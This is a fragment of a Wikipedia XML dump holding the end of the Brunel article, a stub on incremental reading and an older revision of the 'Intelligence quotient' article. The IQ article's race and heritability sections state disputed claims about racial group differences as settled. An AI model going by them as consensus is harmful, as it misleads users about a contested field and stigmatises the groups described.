*[[Maidenhead Railway Bridge]]
*[[Taff Vale Railway]]

==Notes and References==
&lt;div style=&quot;font-size: 85%&quot;&gt;
&lt;references/&gt;
&lt;/div&gt;

==External links==
*[http://en.structurae.de/persons/data/index.cfm?id=d000002 Structurae: Isambard Kingdom Brunel]
*[http://www.designmuseum.org/design/index.php?id=99 Design Museum - British Council]]
*[http://www.whoosh.care4free.net/brunel%27s.htm The Atmospheric Railway]

==Further reading==
*[[L. T. C. Rolt]] &lt;cite&gt;Isambard Kingdom Brunel&lt;/cite&gt; ISBN 058210744X, ISBN 0140079866, ISBN 0140117520 ([http://books.fantasticfiction.co.uk/x0/x1445.htm?authorid=2462 Fantasticfiction])
*R. Angus Buchanan ''Brunel:The Life and Times of Isambard Kingdom Brunel'', Hambledon and London, 2002, 294pp, 22pl and 11 text illus, ISBN 1-85285-331-X
*Adrian Vaughan ''Isambard Kingdom Brunel: Engineering Knight-Errant'', John Murray, 1991, ISBN 0-7195-4636-2
*Nick Walters ''Reckless Engineering'', BBC Books, ISBN 0-563-48603-1
*Steven Brindle &lt;cite&gt;Paddington Station: Its history and architecture&lt;/cite&gt; , English Heritage, 2004, ISBN 1-873592-70-1
*Andrew Mathewson and Derek Laval &lt;cite&gt;Brunel's Tunnel... and where it led&lt;/cite&gt;, Brunel Exhibition Rotherhithe, 1992, ISBN 0-9504361-1-9

[[Category:1806 births|Brunel, Isambard Kingdom]]
[[Category:1859 deaths|Brunel, Isambard Kingdom]]
[[Category:Bridge engineers|Brunel, Isambard Kingdom]]
[[Category:British civil engineers|Brunel, Isambard Kingdom]]
[[Category:English architects|Brunel, Isambard Kingdom]]
[[Category:English inventors|Brunel, Isambard Kingdom]]
[[Category:Fellows of the Royal Society|Brunel, Isambard Kingdom]]
[[Category:Marine engineers and naval architects|Brunel, Isambard Kingdom]]
[[Category:People buried in Kensal Green Cemetery|Brunel, Isambard Kingdom]]
[[Category:Pioneers of rail transport|Brunel, Isambard Kingdom]]

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[[uk:Брунель Ісамбард Кіндом]]</text>
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  <page>
    <title>Incremental reading</title>
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      <contributor>
        <ip>169.229.85.131</ip>
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      <text xml:space="preserve">'''Incremental reading''' subdivides a load of material into articles and its extracts. All articles and extracts are processed according to the rules of [[spaced repetition]]. This means that all processed pieces of information are presented at increasing intervals. Individual articles are read in portions proportional to the attention span, which depends on the user, his mood, the article, etc. The name &quot;incremental&quot; comes from &quot;reading in portions&quot;. Without the use of spaced repetition, the reader would quickly get lost in the glut of information when studying dozens of subjects at the same time. However, spaced repetition makes it possible to retain traces of the processed material in memory. Incremental reading makes it possible to read hundreds of articles at the same time with a substantial gain to [[attention]]. For incremental reading to leave a permanent mark in [[long-term memory]], the processed material must be gradually converted into material based on [[active recall]]. This means that extracts such as &quot;George Washington was the first U.S. President&quot; must be changed to questions such as &quot;Who was the first U.S. President?&quot;, &quot;Who was George Washington?&quot;, etc.
{{psych-stub}}
[[Category:Learning]]</text>
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  </page>
  <page>
    <title>Intelligence quotient</title>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">{{redirect|IQ}}
[[Image:6sigmaIQrange.png|thumb|350px|IQ tests are designed to give approximately [[normal distribution|normally distributed]] results, which causes a [[normal distribution|&quot;bell curve&quot;]] graph of IQ score frequency. Colors delineate one [[standard deviation]].]]
An '''intelligence quotient''' or '''IQ''' is a score derived from a set of [[standardized test]]s developed to measure a person's [[cognition|cognitive abilities]] (&quot;[[intelligence (trait)|intelligence]]&quot;) in relation to their age group. An IQ test does not measure intelligence the way a ruler measures height (absolutely), but rather the way a [[racing|race]] measures speed (relatively). 

For people living in the prevailing conditions of the developed world, IQ is highly [[heritability|heritable]], and by adulthood the influence of family environment on IQ is undetectable. IQ test scores are correlated with measures of brain structure and function, as well as performance on simple tasks that anyone can complete within a few seconds. 

IQ is correlated with academic success; it can also predict important life outcomes such as job performance, socioeconomic advancement, and &quot;social pathologies&quot;. Recent work has demonstrated links between IQ and health, longevity, and functional literacy.
 
==History==

Early attempts of mental tests were those of Sir Galton (1863) and James Cattell (1888). These tests were more physical tests than mental ones. Their importance was in developing the idea that one's IQ can be measured and is different from person to person. They also proposed normal distributions of mental tests results within a large population.

[[Alfred Binet]] and his colleague [[Theodore Simon]] created the '''Binet-Simon scale''' in [[1905]], which used testing to identify students who could benefit from extra help in school. Their assumption was that lower scores indicated the need for more teaching, not an inability to learn.  This interpretation is still held by some modern experts. 

Notably, Binet himself made ''no claim'' that his test properly measured intelligence. He stated in his paper ''New Methods for the Diagnosis of the Intellectual Level of Subnormals'' that 
:&quot;This scale properly speaking does not permit the measure of the intelligence, because intellectual qualities are not superposable, and therefore cannot be measured as linear surfaces are measured, but are on the contrary, a classification, a hierarchy among diverse intelligences; and for the necessities of practice this classification is equivalent to a measure.&quot; [http://psychclassics.yorku.ca/Binet/binet1.htm]

In [[1910]], [[Henry H. Goddard]] proposed three categories for the &quot;feeble-minded&quot; based on IQ scores: [[Moron (psychology)|moron]] (IQ of 51&amp;ndash;70), [[imbecile]] (IQ of 26&amp;ndash;50), and [[idiot]] (IQ of 0&amp;ndash;25). This taxonomy was the standard of intelligence research for decades.

In [[1916]], [[Stanford University]] psychologist [[Lewis Terman]] released the &quot;Stanford Revision of the Binet-Simon Scale&quot;, generally known as the '''[[Stanford-Binet test]]'''. This became the most commonly administered test for many decades. The term &quot;intelligence quotient,&quot; in which each student's score was the quotient of his or her tested mental age with his or her actual age, was adopted by Terman from a [[1912]] proposal by German psychologist [[William Stern]]. This led to refined testing developed by [[Robert Yerkes]] for [[United States Army]] recruits.

Today, the most commonly administered IQ test is the '''[[Wechsler Intelligence Scale for Children|WISC-III]]''' test, originally developed by [[David Wechsler]] in 1974.  The WISC-III test comprises ten types of problems, categorized by difficulty and by skill type (verbal and performance scales). A revised version, the WISC-IV, was released in 2003 and is used regularly in assessments. However, the interpretation of various combinations of subscales is still being researched. Another notable type of IQ test is the Bailey Scale of Infant Development, regarded as the 'best' means of testing cognitive development in infants.

Today, informal online IQ tests are popular, but they are at best rough approximations.  The tests are not expert certified and notable limitations include a small number of questions and a lack of the time limit.

==IQ score distribution==
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; ALIGN=&quot;right&quot;
|+ '''IQ score distribution'''
|- bgcolor=#ccccff 
!IQ Range !! Percentile Range
|- bgcolor=E9E8FF
|Below 30 || 0 &amp;ndash; 0.0002
|- bgcolor=#DFE0FF
|30 to 50 || 0.0002 &amp;ndash; 0.04
|- bgcolor=E9E8FF
|50 to 60 || 0.04 &amp;ndash; 0.4
|- bgcolor=#DFE0FF
|60 to 74 || 0.4 &amp;ndash; 4
|- bgcolor=E9E8FF
|74 to 89 || 4 &amp;ndash; 23
|- bgcolor=#DFE0FF
|89 to 100 || 23 &amp;ndash; 50
|- bgcolor=E9E8FF
|100 to 111 || 50 &amp;ndash; 77
|- bgcolor=#DFE0FF
|111 to 120 || 77 &amp;ndash; 91
|- bgcolor=E9E8FF
|120 to 125 || 91 &amp;ndash; 95
|- bgcolor=#DFE0FF
|125 to 132 || 95 &amp;ndash; 98
|- bgcolor=E9E8FF
|132 to 137 || 98 &amp;ndash; 99.3
|- bgcolor=#DFE0FF
|137 to 150 || 99.3 &amp;ndash; 99.96
|- bgcolor=E9E8FF
|above 150  || 99.96 &amp;ndash; 100
|}

IQ scores are expressed as a number normalized so that the average IQ in an age group is 100.  In other words, an individual scoring 115 is above average when compared to people in the same age group.  It is common practice to standardize so that the [[standard deviation]] (&amp;sigma;) of scores is 15, although some IQ tests use difference scales (for example, the Stanford Binet IQ test uses a standard deviation of 16, and the [[Cattell IIIB]] test uses a standard deviation of 24). Tests are designed so that the distribution of IQ scores is [[normal distribution|Gaussian]]; that is, it follows a [[bell curve]]. A difference has been documented between the IQ score distributions of left-handed and right-handed test subjects; the distribution in left-handed people tends to cluster at the two extremes of the IQ scale.&lt;!--ref--&gt;

(The following numbers apply to IQ scales standard deviation σ = 15.) Roughly 68% of the population has an IQ between 85 and 115.  The &quot;normal&quot; range, or range between &amp;minus;2 and +2 standard deviations from the mean, is between 70 and 130, and contains about 95% of the population.  An accurate score below 70 may indicate [[mental retardation]], and a score above 130 may indicate [[gifted|intellectual giftedness]].  Retardation may result from normal variation or from a genetic or developmental malady; analogously, some otherwise normal people are very short, and others have [[dwarfism]].  Giftedness appears to be normal variation; [[autistic savant|autistic savants]] have often astonishing cognitive powers but below-average IQ's.
 
It has been observed that scores outside the range 55 to 145 must be cautiously interpreted because there are smaller numbers of respondents with which to make comparisons in those ranges.  Moreover, at such extreme values, the normal distribution is a less accurate estimate of the true IQ distribution. 

In actuality there is a higher percentage of the population measured at 3 or more standard deviation levels on the test than the probabilities of the normal distribution would predict([[Lewis Terman]], ''Genetic Studies of Genius'', 1959).  Some IQ scoring procedures may attempt to integrate such clusters of statistical outliers into the curve by adjusting the scores so that they better represent actual probabilities (according to Silverman) and in these cases, scores around 145 and above may actually have been notably higher, were they not so adjusted.

Most IQ tests in the [[United States]] tend to use a SD-15 or SD-16 scale, meaning that one standard deviation corresponds to +/- 16 points on the IQ scale. However, European IQ tests tend to use a SD-24 or SD-25 scale, resulting in discrepancies. Therefore, an IQ of 130 (+2 standard deviations) in the U.S. might correspond to an IQ of 148-150 in Europe. Due to these differences, percentiles are more accurate measurements than IQ numbers.

==IQ and General Intelligence Factor''==
{{main|General intelligence factor}}

Modern IQ tests produce scores for different areas (e.g., language fluency, three-dimensional thinking, etc.), with the summary score calculated from subtest scores. Individual subtest scores tend to [[correlation|correlate]] with one another, even when seemingly disparate in content. Analyses of an individual's scores on the subtests of a single IQ test or the scores from a variety of different IQ tests (e.g., [[Stanford-Binet]], [[WISC-R]], [[Raven's Progressive Matrices]] and others) will reveal that they all measure a single common factor and various factors that are specific to each test. This kind of [[factor analysis]] has led to the theory that underlying these disparate cognitive tasks is a single factor, termed the [[general intelligence factor]] (or ''g''), that corresponds with the common-sense concept of intelligence. In the normal population, ''g'' and IQ are roughly 90% correlated and are often used interchangeably.

==Genetics vs environment==

The role of genes and environment (nature vs. nurture) in determining IQ is reviewed in Plomin ''et al.'' (2001, 2003). The degree to which genetic variation contributes to observed variation in a trait is measured by a statistic called [[heritability]]. Heritability scores range from 0 to 1, and can be interpreted as the percentage of variation (e.g. in IQ) that is due to variation in genes. [[Twin study|Twins studies]] and adoption studies are commonly used to determine the heritability of a trait. Until recently heritability was mostly studied in children. These studies yield an estimate of heritability of 0.5; that is, half of the variation in IQ among the children studied was due to variation in their genes. The remaining half was thus due to environmental variation and measurement error. A heritability of 0.5 implies that IQ is &quot;substantially&quot; heritable. Studies with adults show that they have a higher heritability of IQ than children do and that heritability could be as high as 0.8, though it is probably not this high.  The [[American Psychological Association]]'s 1995 task force on &quot;Intelligence: Knowns and Unknowns&quot; concluded that within the White population the heritability of IQ is “around .75” (p. 85).[http://www.lrainc.com/swtaboo/taboos/apa_01.html]

Considerable research has focused on biological correlates of ''g''; see [[General intelligence factor]] and the section on brain size below. For example, general intelligence and [[MRI]] brain volume measurements are correlated, and the effect is primarily determined by genetic factors.

===Environment===

Environmental factors play a large role in determining IQ in situations where environmental conditions are variable. &lt;!-- this is almost a tautology. Can we say &quot;... in third world countries&quot; to make it concrete? --&gt; Proper childhood [[nutrition]] appears critical for [[cognitive development]]; [[malnutrition]] can lower IQ. Other research indicates environmental factors such as prenatal exposure to [[toxin]]s, duration of [[breastfeeding]], and [[micronutrient]] deficiency can affect IQ. However, in the developed world, none of these effects are sufficiently pronounced to be important. &lt;!-- would rather say &quot;... explain variance...&quot; or something like that, but maybe it's too technical --&gt; 

In the developed world, there is some environmental effect on the IQ of children, accounting for up to a quarter of the variance. However, by adulthood, this correlation disappears, so that the cognitive ability of adults living in the prevailing conditions of the developed world is highly heritable.

Nearly all [[personality]] traits show that, contrary to expectations, environmental effects actually cause adoptive siblings raised in the same family to be as different as children raised in different families  (Harris, 1998; Plomin &amp; Daniels, 1987). Put another way, shared environmental variation for personality is zero, and all environmental effects are nonshared. Intelligence is actually an exception to this rule, at least among children. The IQs of adoptive siblings, who share no genetic relation but do share a common family environment, are correlated at .32. Despite attempts to isolate them, the factors that cause adoptive siblings to be similar have not been identified, though it could be related to parents choosing the type of children they will adopt. However, as explained below, shared family effects on IQ disappear after adolescence.

Active genotype-environment correlation, also called the &quot;nature of nurture&quot;, is observed for IQ. This phenomenon is measured similarly to heritability; but instead of measuring variation in IQ due to genes, variation in environment due to genes is determined. One study found that 40% of variation in measures of home environment are accounted for by genetic variation. This suggests that the way human beings craft their environment is due in part to genetic influences.

===Development===

It is reasonable to expect that genetic influences on traits like IQ should become less important as we gain experiences with age. Surprisingly, the opposite occurs. Heritability measures in infancy are as low as 20%, around 40% in middle childhood, and as high as 80% in adulthood.

Shared family effects also seem to disappear by adulthood. Adoption studies show that, after adolescence, adopted siblings are no more similar in IQ than strangers (IQ correlation near zero), while full siblings show an IQ correlation of 0.6. Twin studies reinforce this pattern: [[twin|monozygotic (identical) twins]] raised separately are highly similar in IQ (0.86), more so than [[Twin|dizygotic (fraternal) twins]] raised together (0.6) and much more than adopted siblings (~0.0).

Most of the IQ studies described above were conducted in developed countries, such as the [[United States]], [[Japan]], and [[Western Europe]]. Also, a few studies have been conducted in Moscow, East Germany, and India, and those studies produce similar results. Any such investigation is limited to describing the genetic and environmental variation found within the populations studied. This is a caveat of any heritability study.

===Mental retardation===

About 75&amp;ndash;80 percent of [[mental retardation]] is familial (runs in families), and 20&amp;ndash;25 percent is due to organic problems, such as chromosomal abnormalities or brain damage.[http://www.isteve.com/2002_IQ_Supreme_Court_Death_Penalty.htm]  Mild to severe mental retardation is a symptom of several hundred single-gene disorders and many chromosomal abnormalities, including small deletions. Based on twin studies, moderate to severe mental retardation does not appear to be familial, but mild mental retardation does. That is, the relatives of the moderate to severely mentally retarded have normal ranges of IQs, whereas the families of the mildly mentally retarded have IQs skewing lower.

IQ score ranges (from DSM-IV):
* mild mental retardation: IQ 50&amp;ndash;55 to 70; children require mild support; formally called &quot;Educable Mentally Retarded&quot;.
* moderate retardation: IQ 35&amp;ndash;40 to 50&amp;ndash;55; children require moderate supervision and assistance; formally called &quot;Trainable Mentally Retarded&quot;.
* severe mental retardation: IQ 20&amp;ndash;25 to 35&amp;ndash;40; can be taught basic life skills and simple tasks with supervision.
* profound mental retardation: IQ below 20&amp;ndash;25; usually caused by a neurological condition; require constant care.

The rate of mental retardation is higher among males than females, and higher among blacks than whites, according to a 1991 U.S. [[Centers for Disease Control and Prevention]] (CDC) study.[http://www.cdc.gov/MMWR/preview/mmwrhtml/00040928.htm]   

By race, the overall rate was 16.6 per 1000 for blacks and 6.8 per 1000 for whites. Rates of mental retardation for black males, the group with the highest rates, were 1.7 times higher than black females, 2.4 times higher than white males, and 3.1 times higher than white females. &lt;!--The following statement isn't clear or notable in its present form: Mild mental retardation is almost never diagnosed until a person enters elementary school, which critics claim lends strong support to the notion that IQ tests are racially biased.--&gt;

Individuals with IQs below 70 have been exempted from the death penalty in the U.S. since 2002.[http://www.isteve.com/2002_IQ_Supreme_Court_Death_Penalty.htm]

===IQ, education, and income===

Tambs ''et al.'' (1989) found that occupational status, educational attainment, and IQ are individually heritable; and further found that &quot;genetic variance influencing educational attainment &amp;hellip; contributed approximately one-fourth of the genetic variance for occupational status and nearly half the genetic variance for IQ&quot;. In a sample of US siblings, Rowe ''et al.'' (1997) report that the inequality in education and income was predominantly due to genes, with shared environmental factors playing a subordinate role.

===Regression===
			
The heritability of IQ determines the extent to which the IQ of children will be similar to the IQ of parents. Because the heritability of IQ is less than 100%, the IQ of children tends to &quot;regress&quot; towards the mean IQ of the population. That is, high IQ parents tend to have children who are less bright than their parents, whereas low IQ parents tend to have children who are brighter than their parents. The effect can be quantified by the equation &lt;math&gt;\hat y = \bar x + h^2 \left ( \frac{\mbox{mom} + \mbox{dad}}{2} - \bar x \right)&lt;/math&gt; where:	
* &lt;math&gt;\hat y&lt;/math&gt; is the predicted average IQ of Mom and Dad's children	 
* &lt;math&gt;\bar x&lt;/math&gt; is the mean IQ of the population that Mom and Dad come from	 
* &lt;math&gt;h^2&lt;/math&gt; is the heritability of IQ	 
Thus, if the heritability of IQ is 50%, a couple with an average IQ of 120 may have children that average around an IQ of 110, assuming that both parents come from a population with a median IQ of 100.

==IQ and the Brain==
{{main|Neuroscience and intelligence}}
===Brain size and IQ===
Modern studies using [[MRI]] imaging have shown that brain size correlates with IQ by a factor of approximately .40 among adults (McDaniel, 2005). The correlation between brain size and IQ seems to hold for comparisons between and within families (Gignac et al. 2003; Jensen 1994; Jensen &amp; Johnson 1994). However, one study found no within family correlation (Schoenemann et al. 2000). A [[Twin study|study on twins]] (Thompson ''et al.'', 2001) showed that frontal [[gray matter]] volume was correlated with ''g'' and highly heritable. A related study has reported that the correlation between brain size (reported to have a [[heritability]] of 0.85) and ''g'' is 0.4, and that correlation is mediated entirely by genetic factors (Posthuma et al 2002).

===Brain areas associated with IQ===
Many different sources of information have converged on the view that the frontal lobes are critical for fluid intelligence.  Patients with damage to the frontal lobe are impaired on fluid intelligence tests (Duncan et al 1995).  The volume of frontal grey (Thompson et al 2001) and white matter (Schoenemann et al 2005) have also been associated with intelligence.  In addition, recent neuroimaging studies have limited this association to the lateral prefrontal cortex.  Duncan and colleagues (2000) showed using Positron Emission Tomography that problem-solving tasks that correlated more highly with IQ also activate the lateral prefrontal cortex.  More recently, Gray and colleagues (2003) used functional magnetic resonance imaging (fMRI) to show that those individuals that were more adept at resisting distraction on a demanding working memory task had both a higher IQ and increased prefrontal activity.  For a review of this topic, see Gray and Thompson (2004).

==The Flynn effect==
{{main|Flynn effect}}

Worldwide, IQ scores appear to be slowly rising, a trend known as the Flynn effect. However, tests are only renormalized occasionally to obtain mean scores of 100, for example WISC-R (1974), WISC-III (1991) and WISC-IV (2003). Hence it is difficult to compare IQ scores measured years apart.

==IQ correlations==

===Race and IQ===
{{main|Race and intelligence}}
&lt;!--Please read the race and intelligence article thoroughly before contributing to this section--&gt;

While the distributions of IQ scores among different racial-ethnic groups overlap considerably, groups differ in where their members cluster along the IQ scale. Some groups (e.g. East Asians and Jews) tend to cluster higher than whites, while other groups (e.g. blacks and Hispanics) tend to cluster lower than whites. Similar clustering occurs with related variables, such as school achievement, reaction time, and brain size. Many hypotheses have been proposed to explain racial-ethnic group differences in IQ. Neither test bias nor simple differences in socioeconomic status explain the IQ differences. The primary focus of the scientific debate is whether group differences are entirely caused by environmental factors or whether they also reflect a genetic component. The findings of this field are often thought to conflict with fundamental social philosophies, and have thus engendered a large controversy.

===Religiousness and IQ===
{{main|Religiousness and intelligence}}

Several studies show an inverse correlation between IQ and degree of religious belief. While almost all research indicates a negative correlation between intelligence and religiosity [http://kspark.kaist.ac.kr/Jesus/Intelligence%20&amp;%20religion.htm], this remains a controversial point.

===Health and IQ===

Persons with a higher IQ have generally lower adult morbidity and mortality. This may be because they better avoid injury and take better care of their own health. It also decreases the risk of [[Post-Traumatic Stress Disorder]], severe [[clinical depression|depression]], and [[schizophrenia]]. On the other hand, it increases the risk of [[Obsessive Compulsive Disorder]] [http://www.loni.ucla.edu/~thompson/PDF/GT_DM_5b.pdf].

Research in Scotland has shown that a 15-point lower IQ meant people had a fifth less chance of seeing their 76th birthday, while those with a 30-point disadvantage were 37% less likely than those with a higher IQ to live that long [http://news.bbc.co.uk/hi/english/health/newsid_1260000/1260794.stm].

===Economic development and IQ===
A controversial book ''[[IQ and the Wealth of Nations]]'', claims to show that the wealth of a nation can in large part be explained by the average IQ score. This claim has been both disputed and supported in peer-reviewed papers. The data used has also been questioned.

==Practical validity==
[[Image:Corr-example.png|thumb|Linear correlations between 1000 pairs of numbers.  The data are graphed on the lower left and their correlation coefficients listed on the upper right.  Each set of points correlates maximally with itself, as shown on the diagonal (all correlations = +1).]]

Evidence for the practical validity of IQ comes from examining the [[correlation]] between IQ scores and life outcomes.
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- bgcolor=#ccccff 
|+ '''Economic and social correlates of IQ'''
! Factors || Correlation
|- bgcolor=E9E8FF
| School grades and IQ || 0.5
|- bgcolor=#DFE0FF
| Total years of education and IQ || 0.55
|- bgcolor=E9E8FF
| IQ and parental socioeconomic status || 0.33
|- bgcolor=#DFE0FF
| Job performance and IQ || 0.54
|- bgcolor=E9E8FF
| Negative social outcomes and IQ || &amp;minus;0.2
|- bgcolor=#DFE0FF
| IQs of identical twins || 0.86
|- bgcolor=E9E8FF
| IQs of husband and wife || 0.4
|- bgcolor=#DFE0FF
| ''Heights'' of parent and child || 0.47
|}
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|- bgcolor=#ccccff 
|+ '''Economic and social correlates of IQ'''
! IQ || &lt;75 || 75&amp;ndash;90 || 90&amp;ndash;110 || 110&amp;ndash;125 || &gt;125
|- bgcolor=E9E8FF
| US population distribution || 5 || 20 || 50 || 20 || 5
|- bgcolor=#DFE0FF
| Married by age 30 || 72 || 81 || 81 || 72 || 67
|- bgcolor=E9E8FF
| Out of labor force more than 1 month out of year (men) || 22 || 19 || 15 || 14 || 10
|- bgcolor=#DFE0FF
| Unemployed more than 1 month out of year (men) || 12 || 10 || 7 || 7 || 2
|- bgcolor=E9E8FF
| Divorced in 5 years || 21 || 22 || 23 || 15 || 9
|- bgcolor=#DFE0FF
| % of children w/ IQ in bottom decile (mothers) || 39 || 17 || 6 || 7 || -
|- bgcolor=E9E8FF
| Had an [[Illegitimacy|illegitimate]] baby (mothers) || 32 || 17 || 8 || 4 || 2
|- bgcolor=#DFE0FF
| Lives in poverty || 30 || 16 || 6 || 3 || 2
|- bgcolor=E9E8FF
| Ever incarcerated (men) || 7 || 7 || 3 || 1 || 0
|- bgcolor=#DFE0FF
| Chronic welfare recipient (mothers) || 31 || 17 || 8 || 2 || 0
|- bgcolor=E9E8FF
| High school dropout || 55 || 35 || 6 || 0.4 || 0
|- bgcolor=#DFE0FF
| colspan=&quot;6&quot; | Values are the percentage of each IQ sub-population fitting each descriptor. Compiled by Gottfredson (1997) from Herrnstein &amp; Murray (1994) pp. 171, 158, 163, 174, 230, 180, 132, 194, 247&amp;ndash;248, 194, 146 respectively.
|}

Research shows that intelligence plays an important role in many valued life outcomes. In addition to academic success, intelligence correlates with job performance (see below), socioeconomic advancement (e.g., level of education, occupation, and income), and &quot;social pathology&quot; (e.g., adult criminality, poverty, unemployment, dependence on welfare, children outside of marriage). Recent work has demonstrated links between intelligence and health, longevity, and functional literacy. Correlations between ''[[g (factor)|g]]'' and life outcomes are pervasive, though IQ and [[happiness]] do not correlate. IQ and ''g'' correlate highly with school performance and job performance, less so with occupational prestige, moderately with income, and to a small degree with law-abidingness.

General intelligence (in the literature typically called &quot;cognitive ability&quot;) is the best predictor of job performance by the standard measure, validity.  ''Validity'' is the correlation between score (in this case cognitive ability, as measured, typically, by a paper-and-pencil test) and outcome (in this case job performance, as measured by a range of factors including supervisor ratings, promotions, training success, and tenure), and ranges between &amp;minus;1.0 (the score is perfectly wrong in predicting outcome) and 1.0 (the score perfectly predicts the outcome).  See [[validity (psychometric)]].  The validity of cognitive ability for job performance tends to increase with job complexity and varies across different studies, ranging from 0.2 for unskilled jobs to 0.8 for the most complex jobs.

A large [[meta-analysis]] (Hunter and Hunter, 1984) which pooled validity results across many studies encompassing thousands of workers (32,124 for cognitive ability), reports that the validity of cognitive ability for entry-level jobs is 0.54, larger than any other measure including job tryout (0.44), experience (0.18), interview (0.14), age (&amp;minus;0.01), education (0.10), and biographical inventory (0.37).

Because higher test validity allows more accurate prediction of job performance, companies have a strong incentive to use cognitive ability tests to select and promote employees.  IQ thus has high practical validity in economic terms. The [[utility]] of using one measure over another is proportional to the difference in their validities, all else equal.  This is one economic reason why companies use job interviews (validity 0.14) rather than randomly selecting employees (validity 0.0).  

However, legal barriers, most prominently the 1971 United States Supreme Court decision ''[[Griggs v. Duke Power Co.]]'', have prevented American employers from directly using cognitive ability tests to select employees, despite the tests' high validity.  This is largely based on that cognitive ability scores in selection adversely affects some minority groups, due to that different groups have different mean scores on tests of cognitive ability.  However, cognitive ability tests are still used in some organizations.  The U.S. military uses the [[Armed Services Vocational Aptitude Battery|Armed Forces Qualifying Test]] (AFQT), as higher scores correlate with significant increases in effectiveness of both individual soldiers and units,[http://www.rand.org/pubs/technical_reports/2005/RAND_TR193.pdf] [http://www.rand.org/pubs/monograph_reports/MR818/MR818.ch2.pdf] and [[Microsoft]] is known for using non-illegal tests that correlate with IQ tests as part of the interview process, weighing the results even more than experience in many cases.[http://www.highbeam.com/doc/1G1:18847742/Microsofts+big+advantage+-+hiring+only+the+supersmart%7eR%7e+(Company+Operations).html] [https://www.keepmedia.com/Auth.do?extId=10022&amp;uri=/archive/forbes/2005/1031/045.html]

Some researchers have echoed the popular claim that &quot;in economic terms it appears that the IQ score measures something with decreasing marginal value. It is important to have enough of it, but having lots and lots does not buy you that much.&quot; (Detterman and Daniel, 1989)[http://www.americanscientist.org/template/AssetDetail/assetid/24538/page/4]  

However, some studies suggest IQ continues to confer large benefits even at very high levels. Ability and performance for jobs are linearly related, such that at all IQ levels, an increase in IQ translates into a concomitant increase in performance (Coward and Sackett, 1990). In an analysis of hundreds of siblings, it was found that IQ has a substantial effect on income independently of family background (Murray, 1998).

Other studies question the real-world importance of whatever is measured with IQ tests, especially for differences in accumulated [[wealth]] and general [[economic inequality]] in a nation. IQ correlates highly with school performance but the correlations decrease the closer one gets to real-world outcomes, like with job performance, and still lower with income. It explains less than one sixth of the income variance [http://www.lrainc.com/swtaboo/taboos/apa_01.html]. Even for school grades, other factors explain most the variance. Regarding economic inequality, one study found that if we could magically give everyone identical IQs, we would still see 90 to 95 percent of the inequality we see today. [http://home.att.net/~Resurgence/L-IQpredicts.htm]. Another recent study (2002) found that wealth, race, and schooling are important to the inheritance of economic status, but IQ is not a major contributor and the genetic transmission of IQ is even less important [http://www.umass.edu/preferen/gintis/intergen.pdf]. Some argue that IQ scores are used as an excuse for not trying to reduce poverty or otherwise improve living standards for all. Claimed low intelligence has historically been used to justify the [[feudal system]] and unequal treatment of women (but note that many studies find identical average IQs among men and women; see [[sex and intelligence]]). In contrast, others claim that the refusal of high-IQ elites to take IQ seriously as a cause of inequality is itself immoral.[http://www.isteve.com/How_to_Help_the_Left_Half_of_the_Bell_Curve.htm]

== Public policy ==
{{main|Intelligence and public policy}}

Because public policy is often intended to influence the same outcomes (for example to improve education, fight poverty and crime, promote fairness in employment, and counter racial discrimination), policy decisions frequently interact with intelligence measures. In some cases, modern public policy references intelligence measures or even aims to alter cognitive development directly.

While broad consensus exists that intelligence measures neither dictate nor preclude any particular social policy, controversy surrounds many other aspects of this interaction. Central issues concern whether intelligence measures should be considered in policy decisions, the role of policy in influencing or accounting for group differences in measured intelligence, and the success of policies in light of individual and group intelligence differences. The importance and sensitivity of the policies at issue have produced an often-emotional ongoing debate spanning scholarly inquiry and the popular media from the national to the local level.

===Use of IQ in the United States legal system===

The Supreme Court of the United States has also validated the use of IQ results during the sentencing phase of some criminal proceedings.  The Supreme Court case of ''Atkins v. Virginia'', decided [[June 20]] [[2002]], [http://supct.law.cornell.edu/supct/html/00-8452.ZO.html] held that executions of mentally retarded criminals are &quot;cruel and unusual punishments&quot; prohibited by the Eighth Amendment.  In ''Atkins'' the court stated that

:&quot;&amp;hellip;[I]t appears that even among those States that regularly execute offenders and that have no prohibition with regard to the mentally retarded, only five have executed offenders possessing a known IQ less than 70 since we decided ''Penry''. The practice, therefore, has become truly unusual, and it is fair to say that a national consensus has developed against it.&quot;

In overturning the Virginia Supreme Court's holding, the ''Atkins'' opinion stated that petitioner's IQ result of 59 was a factor making the imposition of capital punishment a violation of his eighth amendment rights.  In the opinion's notes the court provided some of the facts relied upon when reaching their decision

:&quot;At the sentencing phase, Dr. Nelson testified: &quot;Atkins' full scale IQ is 59. Compared to the population at large, that means less than one percentile&amp;hellip;. Mental retardation is a relatively rare thing. It's about one percent of the population.&quot; App. 274. According to Dr. Nelson, Atkins' IQ score &quot;would automatically qualify for Social Security disability income.&quot; Id., at 280. Dr. Nelson also indicated that of the over 40 capital defendants that he had evaluated, Atkins was only the second individual who met the criteria for mental retardation. Id., at 310. He testified that, in his opinion, Atkins' limited intellect had been a consistent feature throughout his life, and that his IQ score of 59 is not an &quot;aberration, malingered result, or invalid test score.&quot; Id., at 308.&quot;

==Validity and ''g''-loading of specific tests==

While IQ is sometimes treated as an end unto itself, scholarly work on IQ focuses to a large extent on IQ's [[validity (psychometric)|validity]], that is, the degree to which IQ predicts outcomes such as job performance, social pathologies, or academic achievement.  Different IQ tests differ in their validity for various outcomes.

Tests also differ in their [[General intelligence factor|''g'']]-loading, which is the degree to which the test score reflects general mental ability rather than a specific skill or &quot;group factor&quot; such as verbal ability, spatial visualization, or mathematical reasoning).  ''g''-loading and validity are related in the sense that most IQ tests derive their validity mostly or entirely from the degree to which they measure ''g'' (Jensen 1998).

==Social construct==

Some maintain that IQ is a [[social construct]] invented by the privileged classes, used to maintain their privilege.  Others maintain that intelligence, measured by IQ or ''g'', reflects a real ability, is a useful tool in performing life tasks and has a biological reality.

